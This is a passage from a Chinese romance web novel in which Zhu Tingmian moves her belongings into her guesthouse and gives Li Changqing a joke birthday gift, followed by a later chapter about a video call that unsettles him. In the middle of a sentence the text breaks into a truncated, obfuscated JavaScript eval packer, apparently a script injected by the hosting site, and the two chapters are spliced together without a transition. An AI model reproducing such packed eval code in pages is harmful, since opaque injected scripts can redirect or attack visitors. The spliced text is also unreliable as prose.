“我已经原谅你,”竹听眠谨遵程序,接着问,“你知道我是谁了吗?” “知道了点,“李长青说,“网上看到的。” “我那些专辑版权都没咯,我现在没有收入,是无业游□□听眠故意走近几步,果然看见李长青眉头紧皱。 “以后你的这个民宿,我们全家都会努力帮你。”李长青当即表态。 “心疼我没收入吗?”竹听眠问。 李长青不回答,又看了一眼她的手。 “可是我刚拿到了巨额保险。”竹听眠毫无预兆地说。 “你不用担心,我会……嗯?”李长青正处于全自动安慰状态,满脑子只想让她安心一些,等反应过来自己听到了什么时,话也就被咽了回去。 “所以我还是比你有钱,”竹听眠扬着下巴发号施令,“你也不要继续内疚。” 居然光明正大地炫耀起来。 李长青笑起来,“财不外露啊。” “你是外吗?”竹听眠看着他。 她说得太自然。 李长青垂在身侧的手无意识地握了一下,却消解不了那些扑面而来的困惑和柔软,也无从揣测,以至于回答不了。 简称:呆住。 “长青啊。”竹听眠低声喊他。 “嗯?”李长青喉结滚动,发出一个意义模糊的单音。 “我们一起搬行李吧,”竹听眠提议,“拉车的师傅只负责把东西卸在箱子口,我不好耽误他们回家吃饭,还好进来看到了你。” 又是这种话,这种容易让人多想的话,李长青感觉大脑变得钝钝的,把话回味一遍,这才注意到重点。 行李? 他立刻走出院子,果然看见巷子口那堆箱子,大大小小,几乎遮住整个巷口。 不像行李,像是搬家。 “这么多东西啊?” 李长青在心里继续问,又在心里自己答。 这得留多久啊? 会很久吧。 竹听眠如同个局外人一样,探头探脑地看,全然一副凑热闹的模样。 甚至开始感慨:“哦哟,谁家的行李呀。” 李长青转头看她。 她又笑着对李长青说:“原来是我的行李呀。” “收拾着累吧?”李长青问她。 “还有些没寄过来呢,”竹听眠已经开始安排后续,“等到了,还得你开车带我去拉。” 去肯定是会去的,但李长青还想为自己争取一下语言权,“我……” “我晚饭还没吃,今晚又得收拾,都不知道几点才能睡觉。”竹听眠扯着他往外走。 不知是不是故意而为,她扯拽人时用的右手。 李长青哪能让她用力,只希望这个人别再添新伤才好,所以他只能立马就跟着出去。 所有东西全都安顿去竹听眠二楼那间屋子里,李长青发现每个纸箱上都用马克笔写好分类,衣服或是书籍,杂物或是装饰。 关于竹听眠的一切被整理好,出现在一个本不该出现的地方。 李长青稍微出神,又很快打起精神把箱子顺去墙边,这样就不会影响她行动。 他确认一遍没有疏漏,又出去给竹听眠买面,看她吃完之后已是九点多,很晚了。 “那我先回家,明天会过来继续弄门框。”李长青向她道别。 “等等,”竹听眠在一个纸箱里翻找,声音因为弯腰而有些模糊,“给你带了生日礼物。” “都讲了不用送我东西。”李长青人已经走到门口,虽然这么说,但已经立刻折返。 “要送的。”竹听眠很坚持,又招招手,说自己搬不动,指指箱子里,示意李长青自己来抬。 牛皮纸包着一个长方体,按一下,还能压到里面裹着一层泡沫,包装得很结实。 很重,李长青觉得自己的心脏也变得沉甸甸,他问:“什么啊?” 竹听眠突然变得很不一样,低头微笑。 连声音都变得很轻很轻。 她说:“这是我无论如何都要送给你的东西,希望你能喜欢。” 竹听眠一想到礼物的内容就差点忍不住笑,却不知这幅样子在李长青的眼底是另一种解释。 李长青为她这种罕见的柔软表情而心跳,感觉很奇怪,像是有什么东西在没打招呼的前提下悄悄发生。 直觉告诉他,这份礼物一定很不一样。 李长青莫名紧张,立刻保证:“我会喜欢的。” 果然,竹听眠就笑起来,也变得自信,“那就好!” 李长青怀抱礼物回家,路上时不时低头看一眼。 拆开前,他先研究了一下包装,决定尽量不损坏那层牛皮纸。 终于,礼物露出真面目。 《五年高考三年模拟》 还有张纸条。 【猜不出你是文科还是理科,所以竹听眠给你买了全套。】 李长青盯着纸条看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李慎看她们妯娌抱在一起,自己也慨然,奈何无人可以拥抱,只好装作很忙的样子抬起碗喝了口空气,想起大侄子早已对桌上早点进行过风卷残云式的袭击,只好搁下碗,嘀咕句“小兔崽子”。 小兔崽子这两天比较烦恼。 一是因为老屋这边可以参与的活计太少,大家分工有序,有小竹老板正儿八经地严肃表态在前,哪个师傅都不肯让李长青再插手帮忙。至于竹听眠那些行李,她自己整理了好几天,事关她的私人物品,李长青更没办法插手。 这些都是小事儿。 比较严重的一个问题是:李长青至今没有竹听眠的联系方式。 居然连电话都没有。 考虑到网上那些流言,所以李长青能够理解竹听眠不愿意用手机这个行为,但彼此没有联系方式终究不方便沟通。 至于李长青有什么急需和竹听眠通过手机沟通的东西。 他当真仔细思考过。 结论是什么都没有。 尽管如此,他还是想要知道竹听眠的电话,再不济,微信也行啊。 不太有立场问,也不知道竹听眠是否已经重新开始使用电话。 怀着诸多疑问,李长青心事忡忡地趴在门框边细化颜色,余光瞥见人从院外进来,正在打电话。 还是视频电话。 对面是个男的。 李长青持续视线追随。 “死丫头,你怎么不等头七再联系我?”那个男人说。 “你后面那个光膀子小帅哥有点性感哦。”那个男人又说。 光,光膀子…… 李长青迅速检查,确认自己就是那个“小帅哥”。 “李长青,”竹听眠的声音已然响起。 他望过去,观其表情大概是想说“你能不能好好穿衣服”之类的话。 可她抿了抿嘴,最后只说:“算了,你怎么舒服怎么来吧。” 李长青嘀咕:“都说过了漆掉衣服上不好洗。” 竹听眠已经开始上楼,和那人有一搭没一搭地聊,语气熟稔。 李长青无意竖耳朵听,但偏偏听清了一段对话。 “非得待那镇子里,别告诉我是被小帅哥勾引。” “有他的原因,”竹听眠说,“人没勾引我。” 李长青忽然就听不清其它的声音,耳鸣起来。 她什么意思? 第一句话什么意思,第二句话又是什么意思? 什么原因? 没勾\引有错吗? 可以勾\引吗? 怎么勾\引啊? 勾…… 她这样真的很影响人工作。 辛叔出声提醒,李长青堪堪回神。 辛叔关心他是否身体不舒服,也有些困惑。 因为李长青一直在用锤子拧螺丝。